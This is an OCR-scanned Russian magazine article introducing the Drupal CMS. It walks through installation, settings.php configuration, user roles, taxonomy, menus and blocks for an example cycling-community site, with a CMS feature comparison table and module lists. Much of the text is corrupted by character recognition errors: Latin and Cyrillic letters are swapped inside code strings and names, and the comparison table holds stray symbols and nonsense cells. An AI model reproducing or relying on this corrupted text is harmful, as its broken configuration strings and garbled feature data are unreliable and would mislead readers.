УДОБОЧИТАЕМОМ ДЛЯ ЛЮДЕЙ И ПОИСКОВИКОВ. 


*WYSIWYG-PEMAKTOP — НАБОР JAVA-SCRIPT'OB, КОТОРЫЕ ПОЗВОЛЯЮТ ВВОДИТЬ ФОР- 
МАТИРОВАННЫЙ ТЕКСТ ПРЯМО В БРАУЗЕРЕ И ВСТАВЛЯТЬ КАРТИНКИ, ПРИЧЕМ ПРОГРАМ- 
МИСТУ НЕ ПОНАДОБЯТСЯ ЗНАНИЯ HTML. 


ПОДДЕРЖКА 21Р-АРХИВОВ — НЕКОТОРЫЕ СИСТЕМЫ ПОЗВОЛЯЮТ ЗАГРУЖАТЬ ZIP-AP- 
ХИВ, ЗАТЕМ ОНИ САМИ РАСПАКОВЫВАЮТ ЕГО И ПУБЛИКУЮТ СОДЕРЖИМОЕ (НАПРИМЕР 
СТАТЬЮ С КАРТИНКАМИ), И ТАКИМ ОБРАЗОМ ЗАГРУЖАЕТСЯ НЕСКОЛЬКО ФАЙЛОВ «ЗА РАЗ». 


'' РЕПЛИКАЦИЯ — СИНХРОНИЗАЦИЯ БД НА РАЗНЫХ СЕРВЕРАХ. 


ПЕРЕДАЧА КОНТЕНТА — СПОСОБНОСТЬ СЕРВЕРА ПЕРЕДАВАТЬ КОНТЕНТ ДРУГОМУ СЕРВЕРУ. 


*’ МУЛЬТИСАЙТИНГ — СОЗДАНИЕ НЕСКОЛЬКИХ САЙТОВ ФИЗИЧЕСКИ НА ОДНОМ ДВИЖКЕ. 


“ДНЕВНИКИ (БЛОГИ) — КАЖДЫЙ ПОЛЬЗОВАТЕЛЬ ИМЕЕТ ВОЗМОЖНОСТЬ ДЕЛАТЬ ЗАПИ- 
СИ В ОТДЕЛЬНЫЙ ДНЕВНИК. 


*’ ФАЙЛОВЫЕ АРХИВЫ ДЛЯ СКАЧИВАНИЯ — РАЗДЕЛ DOWNLOAD, ВКЛЮЧАЮЩИЙ РАЗ- 
ЛИЧНУЮ СТАТИСТИКУ И ОГРАНИЧЕНИЯ. 


ГАЛЕРЕЯ — НАБОР ИЗОБРАЖЕНИЙ С ОПИСАНИЯМИ К НИМ. ОБЫЧНО СИСТЕМЫ УПРАВЛЕ- 
НИЯ КОНТЕНТОМ ТАКЖЕ УМЕЮТ ИЗГОТОВЛЯТЬ ЭСКИЗЫ — УМЕНЬШЕННЫЕ КОПИИ. 


"ВЕДЕНИЕ ПРОЕКТОВ — СИСТЕМА БАГ-ТРЕКИНГА ДЛЯ ОТСЛЕЖИВАНИЯ ОШИБОК И ЗАДА- 
НИЙ (АНАЛОГ BUGZILLA). 


ПОИСКОВЫЙ ДВИЖОК — ВСТРОЕННЫЙ МЕХАНИЗМ ПОИСКА ПО САЙТУ. 


КАРТА САЙТА — АВТОМАТИЧЕСКИ СОЗДАВАЕМАЯ СТРАНИЦА СО ССЫЛКАМИ НА ГЛАВ- 
НЫЕ РАЗДЕЛЫ САЙТА И, ВОЗМОЖНО, НА ПОДРАЗДЕЛЫ. 


* КОНТЕНТ ПОЛЬЗОВАТЕЛЕЙ — ВОЗМОЖНОСТЬ РАЗМЕЩАТЬ НА САЙТЕ СВОИ МАТЕРИАЛЫ. 


Буфер обмена — — — e e — — e 
Публикация по расписанию ® e — e e ограничено плагин e 
Передача контента '* e — — плагин — — e ограничено 
Встроенное 

администрирование © = 0 © ae oe 0 
Интерфейс администратора e e e e e e e e 
Подсайты e e — e e — e плагин 
Темы / Скины e о e e ® e e e 
Восстановление 

удаленных материалов ы ы = аи © aay ENEMA, = 
Статистика 

посещений / просмотров плагин e e плагин e плагин плагин плагин 
\еь-интерфейс для 

редактирования шаблонов e © отранимено be © © = he 
Web-uHTepdenic для перевода — плагин — e плагин ограничено e e 
Взаимодействие и стандарты 

Создание RSS e ® — ® ограничено e e e 
Поддержка FTP — плагин — ® — ограничено -- ® 
Поддержка UTF-8 e e — e e e e 

Работа в режиме CGI — — e e e — e — 
Расширение профиля A ‘ = Лан A = . = 
пользователя 

Локализация интерфейса 

ЕРРЕРЕЕЕНЕ e e e e плагин e e e 
Метаданные ® e — e e e e 
Мультиязыковой контент ® плагин — ® e плагин e 
Мультиязыковые версии 5 И = 5 _ care м 

контента 

Мультисайтинг '* e плагин — e e — e 

Псевдонимы для URL e e — e e e e e 
Поддержка Wiki e плагин — плагин ограничено плагин ограничено 
Дневники (блоги) “* e Г] e плагин e e плагин плагин 
Чаты — плагин — плагин плагин — плагин плагин 
Отчеты БД ограничено плагин — плагин e — плагин плагин 
Форум e плагин e плагин e — плагин e 
Управление офлайновыми 

документами — плагин — плагин ограничено — плагин плагин 
Календарь событий — плагин — плагин e плагин плагин плагин 
Создание ЧАВО (ЕАО) плагин ® e плагин ® ограничено плагин e 
Файловые архивы для 

Grerrrsrrn © e плагин e плагин e — плагин плагин 
Графики и диаграммы плагин плагин — плагин плагин — плагин 

Группы пользователей — плагин — плагин — — плагин — 
Гостевая книга плагин плагин — плагин ® — плагин плагин 
Управление ссылками e e e плагин e e плагин e 
Форма контактов e e — ® e плагин плагин ® 
Матрица анализа — — плагин e 

Домашние страницы польз. ограничено — — плагин e e e e 
Подписка на новости — плагин — ® e плагин плагин 

Галерея '° ® плагин — плагин e плагин плагин плагин 
Голосования e e e плагин e плагин плагин e 
Ведение проектов '” — плагин — плагин плагин — плагин плагин 
Поисковый движок '* e e = плагин e e плагин 

Карта сайта '° e плагин — e e = плагин 

Получение RSS e e e плагин e e плагин e 
Тесты (вопросники) плагин плагин — плагин e — — — 
Контент пользователей ~ e e e e e e плагин e 
Погода — — плагин e 

Web-cepsnucpi — плагин — плагин ® — e плагин 
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Ton 10 
крутых модулей 


1 DATABASE ADMINISTRATION — 
ДЛЯ АДМИНИСТРИРОВАНИЯ БД ПРЯМО 
ИЗ DRUPAL’A. 


2 FLEXINODE — ДЛЯ СОЗДАНИЯ РАЗЛИЧ- 
НЫХ ТИПОВ ДОКУМЕНТОВ. 


VIEWS — ДЛЯ СОЗДАНИЯ ПРОИЗВОЛЬ- 
3 HbIX НАСТРАИВАЕМЫХ СПИСКОВ 
ДОКУМЕНТОВ. 


4 TINYMCE WYSIWYG EDITOR — 
ДЛЯ ВИЗУАЛЬНОГО РЕДАКТИРОВАНИЯ 
СОДЕРЖИМОГО. 


5 TAXONOMY CONTEXT — ДЛЯ НАВИГА- 
ЦИИ ПО КАТЕГОРИЯМ. 


6 GOOGLE SITEMAP — ДЛЯ КАЧЕСТВЕН- 
НОЙ ИНДЕКСАЦИИ САМЫМ БОЛЬШИМ 
ПОИСКОВИКОМ. 


7 АТТАСНМЕМТ — ДЛЯ РАСШИРЕННОЙ 
ПОДДЕРЖКИ ЗАКАЧКИ ФАЙЛОВ. 


NICE MENUS — ДЛЯ СОЗДАНИЯ 
НИСПАДАЮЩИХ МЕНЮ. 


ВООКМАВК$ — ДЛЯ СОЗДАНИЯ 
ЗАКЛАДОК ПОЛЬЗОВАТЕЛЯМИ. 


САРТСНА — ДЛЯ ЗАЩИТЫ 


ОТ РЕГИСТРАЦИИ ПРОГРАММАМИ- 
РОБОТАМИ. 
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DRUPAL — МОГУЧАЯ СИСТЕМА | 
УПРАВЛЕНИЯ СОДЕРЖАНИЕМ САИТА 


+> в далеком 2000 году стартовал проект Dru- 
pal. В переводе с голландского «druppel» — «ка- 
пля», что и отражено на логотипе проекта. Лиде- 
ром проекта был и остается по сей день голландец 
Дрис Байтаерт (Dries Buytaert), а его детище (с ко- 
торым мы познакомимся) процветает. 

3» почему именно Drupal, а не сотня других си- 
стем управления содержимым сайта? Кто-то 
считает, что СМ$ хороша только тогда, когда для 
нее создано множество различных модулей. Для 
Drupal’a их десятки (если уже не сотни): от встро- 
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Рисунок 1. Создание первого аккаунта 


В ЭТОЙ СТАТЬЕ Я РАССКАЖУ О НАБИ- 
РАЮЩЕЙ ПОПУЛЯРНОСТЬ СИСТЕМЕ 
УПРАВЛЕНИЯ СОДЕРЖИМЫМ САЙТА. 
БЛАГОДАРЯ СВОЕЙ ГИБКОСТИ ОНА ПО- 
ЗВОЛЯЕТ СОЗДАВАТЬ САМЫЕ РАЗНЫЕ 
САЙТЫ ОТ ДОМАШНИХ СТРАНИЧЕК ДО 
КРУПНЫХ НОВОСТНЫХ САЙТОВ И СЕТЕ- 
ВЫХ СООБЩЕСТВ. DRUPAL ЭТО УМЕЕТ! 


БОРИС ВОЛЬФСОН 
{ Бо 


risvolfson@gmail.com} 


енных стандартных модулей (см. врезку) до моду- 
лей сторонних программистов (см. еще одну врез- 
ку). Кто-то считает, что хорошая СМ$ должна 
иметь мощный шаблонизатор. К Drupal’y можно 
подключать несколько шаблонизаторов на выбор, 
в том числе Smarty, PHPTemplate. Кто-то считает, 
что у хорошей СМ$ должно быть много готовых 
тем — для ОгираГа они есть, и их много (вирилве- 
mes.drupal.org), 

На мой взгляд, качество CMS определяется 
прежде всего ее гибкостью. В данном случае гиб- 
кость можно разделить на два вида: пользова- 
тельская и программистская. Как пользователь, я 
могу поднять (и ты сможешь — стоит только по- 
пробовать) довольно сложный сайт Ha Drupal’e бу- 
квально за один вечер, не написав не единой 
строчки кода на РНР (я лукавлю: придется напи- 
сать две строчки для конфигурации). Я смогу по- 
ставить понравившуюся тему, причем при жела- 
нии подкорректирую ее в каком-нибудь визуаль- 
ном редакторе, опять же без знаний НТМЕ. Если я 


установлю на сайт любой визуальный редактор, то 
HTML больше не понадобится и для заполнения 
контента сайта. 

Однако, как web-nporpammuctT, я смогу сде- 
лать намного больше. Во-первых, создать соб- 
ственную тему для Drupal’a. Тут пригодятся знания 
PHP, HTML и CSS. Во-вторых, создать отдельные 
м/еб-странички с помощью РНР, благодаря которо- 
му они станут динамическими. Кстати, стандарт- 
ный РНР-код, который используется чаще всего, 
доступен на сайте в виде сниппетов, и обращаться 
с ними способен даже не специалист-програм- 
мист. В-третьих, я смогу написать свой модуль или 
модифицировать чужой, чтобы получить нужную 
мне функциональность. 
> ставим его! Чтобы установить Drupal, пона- 
добится ммер-сервер, умеющий работать с PHP, Ha- 
пример Apache версий 1.3.x и 2.0.х. Можно исполь- 
зовать и IIS начиная с пятой версии. Что касается 
РНР, то для версий начиная с 4.6 можно использо- 
вать РНР 4.3.3 и старше. Всю информацию он хра- 
HUT в базах данных MySQL или PostegreSQL, но 
могу добавить, что MySQL лучше, так как боль- 
шинство его модулей поставляются с установоч- 
ным ЗОЁ-скриптом именно для MySQL. 

Как обычно происходит установка СМ$? 
Мы копируем на сайт набор скриптов, затем в 
браузере набираем адрес того сайта, куда ско- 
пировали СМ$. Система управления содержани- 
ем обнаруживает, что она не настроена, и запу- 
скает установочный скрипт. Мы заполняем 
необходимые поля форм и минут через десять — 
voila! — система готова к использованию! Сразу 
обрадую тем, что наш клиент не имеет автомати- 
ческой установки, и в результате время установ- 
ки... сокращается до пары минут. Установка бу- 
дет состоять из трех этапов: начальное конфигу- 
рирование, копирование файлов и создание ба- 
зы данных. 

Для начала распаковываем архив, который 
можно скачать с официального сайта — drupal.org. 
Теперь приступаем к конфигурированию. Итак, от- 
крываем файл \sites\default\settings.php и находим 
в нем строчку $db_url = 'туза/://изегпа- 
me:password @localhost/databasename’;. Вместо us- 
ername и password пишем логин и пароль OT базы 
данных. localhost обозначает адрес хоста, на кото- 
ром лежит база, а databasename — имя базы дан- 
ных. Например, у меня на локальном компьютере 
база данных — drupal47, имя и пароль пользовате- 
ля — drupal и a8j4dt6. Соответственно, строка ста- 
нет такой: $db_url = ‘mysql://drupal:a8j4dt6 @lo- 
calhost/drupal47';. 

Последнее, что осталось настроить, — это 
адрес сайта: $base_url = 'http://www.example.com';, 
Здесь просто пишем адрес нашего сайта. После 
завершения настройки можно копировать файлы 
Ha меБ-сервер. Далее создать базу данных, что 
делается при помощи ЗОЁ-скрипта, который ле- 
жит в файле \database\database.mysql. Проще все- 
го проделать это при помощи phpMyAdmin, кото- 
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Включаем нужные модули 


рый сейчас стоит практически на всех хостин- 
гах. Просто выполняешь SQL-sanpoc, который 
хранится в вышеуказанном файле. Все — си- 
стема установлена. 

3» = строим сообщество велосипедистов. Я мог 
бы долго объяснять, насколько крут Drupal, но 
лучше один раз увидеть, чем сто раз услы- 
шать, так что пощупаем эту систему. Для нача- 
ла определимся, какой конкретно сайт будем 
делать. Обычно на сайте средних размеров 
есть несколько разделов, в которых хранятся 
разные материалы, и раздел для общения, на- 
пример форум. Что касается тематики сайта, 
то, по-моему, святой долг каждого мер-деве- 
лопера — создать сайт сообщества велосипе- 
дистов города Бобруйска. На нашем сайте бу- 
дет несколько разделов, а именно: «Главная 
страница» с последними новостями, раздел 
«Велосипеды» с описанием разных моделей, 
раздел «Где покататься», где будет рассказа- 
но о площадках для велосипедистов Бобруйска, 
раздел «Магазины» — о веломагазинах. Что 
будет на «Форуме», догадайся сам. В «Ссы- 
лках» разместим полезные линки, а в разделе 
«О проекте» расскажем о нас любимых. При- 
ступим к работе и зарегистрируемся у себя на 
сайте (рисунок 1). 

Следующим шагом станет включение рус- 
ского языка. Идем в меню administer-modules и 
включаем модуль locale. Остальные модули 
можно включать по мере надобности. Напри- 
мер, нам понадобится модуль forum. 


этапы 
установки 
модулей 


БОЛЬШИНСТВО ПРОСТЫХ МОДУЛЕЙ 
СТАВЯТСЯ СЛЕДУЮЩИМ ОБРАЗОМ: 


1 ЕСЛИ ИМЕЕТСЯ ФАЙЛ README.TXT, 
СЛЕДОВАТЬ ЕГО ИНСТРУКЦИЯМ. ОЧЕНЬ 
ВЕРОЯТНО, ЧТО ИНСТРУКЦИИ — ЭТО 
ПРОСТО СЛЕДУЮЩИЕ ШАГИ. 


2 СКОПИРОВАТЬ ПАПКУ МОДУЛЯ 
В /MODULES. 


3 ЗАПУСТИТЬ SQL-CKPUNT УСТАНОВКИ 
(ФАЙЛ С РАСШИРЕНИЕМ .MYSQL) 
ЛИБО С ПОМОЩЬЮ МОДУЛЯ DBA, 
ЛИБО ЧЕРЕЗ PHPMYADMIN. 


4 В РАЗДЕЛЕ «УПРАВЛЕНИЕ МОДУЛЯМИ» 
ВКЛЮЧИТЬ НУЖНЫЙ МОДУЛЬ. 


5 В РАЗДЕЛЕ УСТАНОВКИ ПРАВ ДОСТУ- 
ПА ВЫБРАТЬ ТЕХ, КОМУ ПОЗВОЛЕНО 
ИСПОЛЬЗОВАТЬ ОПРЕДЕЛЕННЫЕ 
ФУНКЦИИ МОДУЛЯ. 


6 В РАЗДЕЛЕ УСТАНОВОК НАСТРОИТЬ 
САМ МОДУЛЬ. 
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Закладки, которые определяет пользователь 


Теперь можем загрузить русский языковой файл 
(лежит на http://drupal.htdogs.ru/files/NRD-drupal-ru-4.7.0-be- 
ta-6.zip) и выбрать русский язык. В архиве есть 
файл тат.ро, который содержит перевод. Как 
раз его и нужно использовать. Если на сервере 
установлено ограничение по времени на работу 
РНР-скриптов и сервер тормознутый, лучше за- 
гружать файл по частям, которые лежат в папке 
translation. Осталось сделать русский языком по 
умолчанию, для чего просто ставим переключа- 
тель в нужное положение. 

> — настройка движка. Основные настройки на- 
ходятся в разделе «Управление»-«Установки», 
и здесь можно написать все данные своего сай- 
та. Также очень рекомендую включить опцию 
Clean URLs (Чистые УРЛы, ЧПУ) — тогда пои- 
сковики смогут индексировать твой сайт более 
качественно. 

Продолжаем настройку и переходим к 
пользователям. Во-первых, определимся с роля- 
ми пользователей. Их будет четыре. Anonymous 
user — гость. Он сможет только читать. Authenti- 
cated user сможет работать с сайтом, в том числе 
комментировать материалы и участвовать в об- 
суждениях на форуме. Модегаюг — модератор. 
Сможет удалять сообщения и получит больше 
привилегий, чем обычные пользователи. Admini- 
strator — администратор, он настраивает движок 
сайта. Для создания ролей используется страни- 
ца «Управление» «Доступ» -+ закладка «Роли». 
Для настройки прав используется закладка 
«Права» (рисунок 2). 
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Администратору даем все права. Модератор 
не получит права на администрирование и изме- 
нение ключевых настроек сайта. Например, он не 
получит права изменять блоки на сайте. Зареги- 
стрированному пользователю не даем прав на из- 
менение чужих материалов, а для гостя фактиче- 
ски сайт переходит в режим read only. Kak вари- 
ант, позволим гостям комментировать статьи и 
участвовать в форуме. 

Идем в «Управление»-«Установки» и вводим 
данные о нашем сайте, включая название, слоган 
и т.п. Вся эта информация будет автоматически 
вставлена в нужные места на сайте. 


>» таксономия. Когда общая настройка сайта 
закончена, можно переходить к заполнению сайта 
содержимым. У нас есть два основных раздела 
сайта, где, как планируется, расположится боль- 
шая часть содержания. В первый раздел положим 
описания различных моделей велосипедов, во 
второй — площадки для катания на этих двухко- 
лесных механизмах, то есть оба раздела будут со- 
стоять из набора отдельных страничек, причем их 
число будет постоянно расти. Соответственно, 
нужно как-то структурировать их. В Drupal’e это 
делается при помощи таксономии. Фактически, 
таксономия — это система для разбиения на кате- 
гории и подкатегории. В нашем случае она будет 
довольно простой. 

Велосипеды классифицируем на четыре ви- 
да: «Велосипеды для школьников», «Горные ве- 
лосипеды», «Спортивные велосипеды», «Экс- 
клюзивные велосипеды». Один и тот же велоси- 
пед может принадлежать одновременно к двум 
категориям. Настройка происходит в разделе 
«Управление»-«Категории», где необходимо до- 
бавить словарь «Велосипеды» и внести в него 
указанные типы. Кстати, когда создаешь сло- 
варь, его категории можно отнести к страницам 
книг, обсуждениям, страницам, к опросам и за- 
меткам. Необходимо также поставить галочку 
«Множественный выбор». Эти категории следует 
рассматривать как ярлыки, которые можно при- 
креплять к материалам, например к страницам 
или опросам. Таким образом пользователь смо- 
жет легко получить информацию о нужном ему 
типе велосипедов. Аналогичную операцию нужно 
проделать и для мест для катания: горные трас- 
сы, парки, улицы и т.п. 

> меню и блоки. Разбив содержимое сайта на 
категории, перейдем к блокам и, в частности, 
меню. Kak и в любой CMS, блок в Drupal’e — это 
отдельный элемент интерфейса, который распо- 
лагается слева, справа, сверху или снизу от ос- 
новного содержания. Частным видом блока яв- 
ляется меню. Предусмотрено и множество стан- 
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Рисунок 2. Настройка прав пользователей 


Встроенные модули Drupal’a 


Название 


Описание модуля 


Aggregator = Служит для агрегирования В$$-лент новостей 
Archive Служит для просмотра информации по датам. Создает блок «Календарь», с помощью 
которого можно выбирать дату для просмотра материалов 
Block Служит основой для функционирования блоков — контейнеров сгруппированной 
информации, которая располагается в левой или правой части страницы 
Blog Позволяет пользователям вести на сайте дневники 
Book Организует материалы сайта в книги — структурированные наборы \меБ-страниц. 
С помощью книг удобно создавать такие документы, как мануалы, ГАО и подобные им 
Comment Благодаря этому модулю пользователи смогут комментировать материалы сайта 
Contact Позволяет пользователям общаться с помощью e-mail или через форму контактов 
Filter Обрабатывает вводимый текст материалов с помощью фильтров, например, 
для удаления НТМЕ-тегов 
Forum Для создания форумов 
Locale Поддержка иностранных языков (в TOM числе русского) 
Мепи Создает разного рода меню для навигации по сайту 
Node Основной модуль для обработки материалов на сайте 
Раде Для поддержки типа материала «статическая страница» 
Path Предоставляет функциональность псевдонимов для URL. Например, непонятный 
URL /taxonomy/term/17+19 может иметь псевдоним /myfriends 
Poll Встроенная в Drupal поддержка создания и проведения голосований 
Profile Позволяет добавлять в профиль дополнительные поля (например «Настоящее 
имя пользователя», «Возраст») 
Search Встроенная поисковая система по содержанию сайта 
Statistics Хранит статистические данные о сайте: количество загрузок определенного материала, 
ссылающиеся страницы, самые активные пользователи и т.д. 
Taxonomy = Служит для структуризации материалов сайта при помощи таксономии 
Throttle Служит для предотвращения атак Denial of Service (DoS) 
Upload Добавляет поддержку для закачки файлов на сервер 
Watchdog Ведение логов на сайте 


ЧТОБЫ ОБЕСПЕЧИТЬ БЕЗОПАСНОСТЬ, ПРИ ПОВСЕ- 
ДНЕВНОЙ РАБОТЕ С САЙТОМ НЕ ПОЛЬЗУЙСЯ АККАУН- 
ТОМ, ЗАРЕГИСТРИРОВАННЫМ ПРИ СОЗДАНИИ САЙТА 


дартных блоков, например «Календарь», «По- 
следние комментарии», «На сайте». Также при- 
сутствует огромное множество блоков, которые 
реализуются через нестандартные модули. У нас 
на сайте будет использоваться модуль book- 
marks для блока «Закладки», в котором пользо- 
ватель будет определять свои любимые страни- 
цы нашего сайта и, соответственно, ускорит по- 
лучение доступа к ним. 

Управление блоками осуществляется в раз- 
деле «Управление»-«Блоки». Блок можно разме- 
стить в различных местах страницы, также можно 
задать его вес: чем меньше вес, тем выше он бу- 
дет располагаться по сравнению с остальными 
блоками. 

Разобравшись с блоками, идем в раздел 
«Управление»-«Меню» для настройки навигации 
по сайту. По умолчанию у каждого пользователя 
есть меню «Навигация», в котором отключаются 
ненужные нам пункты. Создадим еще одно меню 


по разделам нашего сайта: выбираем закладку 
«Добавить меню». Затем можно создавать от- 
дельные пункты меню, при этом в поле «Путь» 
можно указывать понятные имена. Например, для 
раздела «Велосипеды» указываешь путь «velo», и 
тогда этот раздел будет доступен по адресу 
www.velobabruysk.ru/velo, Конечно, такой папки не су- 
ществует, но Огира! при помощи ЧПУ (Человеко- 
Понятные УРЛы) перехватит этот адрес и найдет в 
базе данных то, что необходимо выдавать по за- 
просу velo. В «Управление»-«Псевдонимы» можно 
настроить то, что конкретно должно выдаваться по 
запросу velo. 

> для добавления контента на сайт использу- 
ется пункт меню «Материалы»-«Добавить матери- 
ал». На этой страничке очень подробно расписаны 
все виды материалов, которые ты сможешь доба- 
вить на свой сайт. При установке дополнительных 
модулей список может пополниться другими типа- 
ми материалов. 


возможности 


ТАКСОНОМИЯ — СТРУКТУРИРУЕТ ВСЕ 
МАТЕРИАЛЫ САЙТА ПО КАТЕГОРИЯМ. 


РОЛИ ПОЛЬЗОВАТЕЛЕЙ — КАЖДОМУ 
ПОЛЬЗОВАТЕЛЮ МОЖНО НАЗНАЧИТЬ 
РОЛЬ. МОЖНО СОЗДАВАТЬ РОЛИ 

И НАЗНАЧАТЬ ИМ ОПРЕДЕЛЕННЫЕ 
ПОЛНОМОЧИЯ. 


ОГРАНИЧЕНИЕ НАГРУЗКИ НА САЙТ — 
ВОЗМОЖНОСТЬ УМЕНЬШИТЬ НАГРУЗКУ 
НА СЕРВЕР САЙТА В ПИКОВЫЕ 
МОМЕНТЫ, КОГДА НАБИРАЕТСЯ МНОГО 
ПОСЕЩЕНИЙ. 


КЕШИРОВАНИЕ СТРАНИЦ — 
СОХРАНЯЕТ В БАЗЕ ДАННЫХ 
СГЕНЕРИРОВАННЫЕ СТРАНИЦЫ 

И ЗАТЕМ ВЫДАЕТ ИХ ПОЛЬЗОВАТЕЛЮ 
С ПОМОЩЬЮ ВСЕГО ОДНОГО ЗАПРОСА, 
ЧТО УМЕНЬШАЕТ НАГРУЗКУ НА СЕРВЕР. 


ЧПУ (ЧЕЛОВЕКОПОНЯТНЫЕ УРЛЫ) — 
КОРОТКИЕ И ЗАПОМИНАЮЩИЕСЯ 
АДРЕСА СТРАНИЦ САЙТА, КОТОРЫЕ К 
ТОМУ ЖЕ ХОРОШО ИНДЕКСИРУЮТСЯ 
ПОИСКОВИКАМИ. 


ШАБЛОНИЗАТОРЫ — ПОДДЕРЖКА 
РАЗЛИЧНЫХ ШАБЛОННЫХ ДВИЖКОВ. 


ТЕМЫ — ВИЗУАЛЬНОЕ ОФОРМЛЕНИЕ 
САЙТА, КОТОРОЕ СОХРАНЯЕТСЯ КАК 
ШАБЛОН. ПРИ ГЕНЕРАЦИИ КОНКРЕТНОЙ 
СТРАНИЦЫ В ОПРЕДЕЛЕННЫЕ МЕСТА 
ДОБАВЛЯЕТСЯ СОДЕРЖАНИЕ ИЗ БАЗЫ 
ДАННЫХ. 


ЛОКАЛИЗАЦИЯ — DRUPAL РАБОТАЕТ 
В КОДИРОВКЕ UNICODE И 
ПОДДЕРЖИВАЕТ МНОЖЕСТВО ЯЗЫКОВ. 


ПОДСАЙТЫ — С ПОМОЩЬЮ DRUPAL'A 
МОЖНО СОЗДАВАТЬ НЕСКОЛЬКО 
САЙТОВ НА ОДНОМ ДВИЖКЕ. 


ПОИСК ПО САЙТУ — ИЩЕШЬ ЧТО- 
НИБУДЬ ПО САЙТУ. 


МОДУЛЬНОСТЬ — УСТАНОВКА МОДУ- 
ЛЕЙ ПОВЫСИТ ФУНКЦИОНАЛЬНОСТЬ 
DRUPAL. 
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Рисунок 3. Книга «Велосипеды» 


Владимир Синельников, 
руководитель 
интернет-проекта 


компании «ПРОСПЕКТ» 


СОБСТВЕННО, В КАЧЕСТВЕ БОНУСА 
К ЭТОЙ СТАТЬЕ Я БЫ ПРЕДЛОЖИЛ 
ЧИТАТЕЛЮ ПРОЧЕСТЬ О ПОДНЯТИИ 
АРАСНЕ’А ПОД WINDOWS. БЕЗУС- 
ЛОВНО, DRUPAL БУДЕТ РАБОТАТЬ И 
НА 1$, И НА ДРУГИХ СЕРВЕРАХ, ОД- 
НАКО НАИБОЛЕЕ ПОЛНО ВОЗМОЖ- 
НОСТИ ДАННОЙ СМ$ МОГУТ БЫТЬ 
РАСКРЫТЫ ИМЕННО ПРИ ИСПОЛЬ- 
ЗОВАНИИ APACHE’A. НАПРИМЕР, 
СТОИТ ПОЧИТАТЬ О ПОПУЛЯРНОМ 
СРЕДИ РУССКОЯЗЫЧНЫХ РАЗРА- 
БОТЧИКОВ ПАКЕТЕ «ДЕНВЕР» 
(HTTP://DENWER.RU), СОЗДАННОМ 
ДМИТРИЕМ КОТЕРОВЫМ. ДЛЯ НА- 
ЧИНАЮЩИХ — САМОЕ TO: WEB- 
СЕРВЕР И БД РАБОТАЮТ, ЧТО НА- 
ЗЫВАЕТСЯ, OUT-OF-BOX. 


ПРИМЕЧАНИЕ. ПАКЕТ ПРЕДНАЗ- 
НАЧЕН ДЛЯ ТЕСТИРОВАНИЯ И РАЗ- 
РАБОТКИ САЙТОВ И НЕ МОЖЕТ 
БЫТЬ УСТАНОВЛЕН HA WIN-XOC- 
ТИНГЕ — ЕСТЬ СЕРЬЕЗНЫЕ УЯЗВИ- 
МОСТИ, ОБУСЛОВЛЕННЫЕ ОСОБЕН- 
НОСТЯМИ ПЛАТФОРМЫ. ПРОЩЕ ГО- 
ВОРЯ, С НИМ НАРОД РАБОТАЕТ 
ТОЛЬКО НА ЛОКАЛХОСТЕ. 
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www.drupal.org — официальный сайт Огира!а и основной источник информации по нему 


http://drupalgarden.com — темы 


http://drupaldocs.org — сайт с описанием API. Предназначен для программистов 

http://www.drupal.ru — к сожалению, сейчас лежит. Когда он очнется, неизвестно 

http://drupal.kiev1.org, http://drupal.htdogs.ru — фактически, единственные русскоязычные сайты — в «Закладки» 
http://civicspacelabs.org — сайт готовой сборки (ядро и дополнительные модули) 


Создадим несколько новых страниц о том, где 
можно неплохо покататься в Бобруйске, и повесим 
на них соответствующие ярлыки. Например, пер- 
вый материал рассказывает о новом парке — на 
него вешаем категорию «Парки». Второй пове- 
ствует о новой горной трассе в 30-ти километрах 
от Бобруйска, к нему прикрепляем ярлык «Горные 
трассы». Теперь необходимо привязать наши 
статьи к пункту меню «Где покататься». 
Во-первых, разберемся, как вывести список 
всех статей, которые имеют тот или иной ярлык. У 
каждого ярлыка есть свой номер, и чтобы узнать 
его, достаточно на странице «Управление»-«Кате- 
гории» выбрать нужный словарь и щелкнуть в нем 
по нужному ярлыку. Например, откроется страни- 
ца с адресом www.velobabruysk.ru/admin/taxonomy/4_, По- 
следнее число и есть идентификатор ярлыка, а 
чтобы вывести все материалы с данным ярлыком, 
достаточно перейти по адресу www.velobabruysk.ru/ta- 
xonomy/term/4, Однако требуется вывести список Ma- 
териалов, которые имеют один или несколько яр- 
лыков из словаря. Для этого используется опера- 


ЦИЯ «Плюс». По адресу www.velobabruysk.ru/taxono- 
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Различные места для вставки блоков 


my/term/4+5 будут доступны все материалы, которые 
имеют ярлыки с идентификаторами 4 и/или 5. 
Если подобные действия кажутся слишком слож- 
ными, можно использовать модуль VIEWS, который 
позволяет создавать подобные списки через web- 
интерфейс. Отмечу, что адреса, приведенные вы- 
ше, «некрасивые», поэтому лучше связать их с 
нормальными адресами через псевдонимы. 

С разделом «Велосипеды» поступим немно- 
го по-другому. Здесь для структуризации инфор- 
мации используем книги: создадим «Страницу 
книги» В «Добавлении материала» с названием 
«Велосипеды», а остальные материалы будем 
создавать тоже как страницы книги, только в каче- 
стве родительского объекта укажем страницу «Ве- 
лосипеды». В итоге получилась следующая карти- 
на (рисунок 3). 

Раздел «Магазины» будет состоять из обыч- 
ной одной страницы, которую мы автоматически 
прикрепим в меню с помощью настройки меню и 
установки пути. Это самый простой способ того, 
как поместить в меню и настроить псевдоним для 
отдельной страницы © 
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Создание нового материала 
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Сторонние модули для Drupal’a 


Описание модуля 


Administration Распределяет административные функции Drupal’a по связанным группам, за счет чего упрощается управление сайтом. 
Также он предоставляет удобный доступ к статистике и справочному материалу 
AdSense Позволяет работать с контекстной рекламой Google Adsense, чтобы зарабатывать Ha ней деньги. С помощью этого модуля 


настраиваются цвета и тип баннера (текстовый или графический). Реклама может быть отображена как в блоках, 
так и в темах на основе шаблонизатора PHPTemplate 


AJAX Spelicheck 


Добавляет возможность проверки правописания во всех полях ввода благодаря AJAX (аналогично проверке правописания Google) 


Attachment Усовершенствованная версия стандартного модуля Upload для загрузки файлов. Позволяет давать название и описание 
каждому загружаемому файлу 

Banner Позволяет организовать на сайте баннерную систему. OH показывает баннеры случайным образом и ведет статистику 
по подсчету показов и кликов по баннерам. Поддерживаются как текстовые, так и графические баннеры (в том числе Flash) 

Bookmarks Предоставляет каждому пользователю блок с закладками на страницы, которые должны быть определены самостоятельно 

Captcha Во время регистрации выводит картинку с надписью, которая затем должна быть выведена для проверки того, кто выполняет 
регистрацию: человек или программа-робот 

Chatbox Встраивает в Drupal простейший чат 

Codefilter Добавляет фильтр ввода для кода. OH обрабатывает теги <code></code> и <?php ?> 


Database Administration 


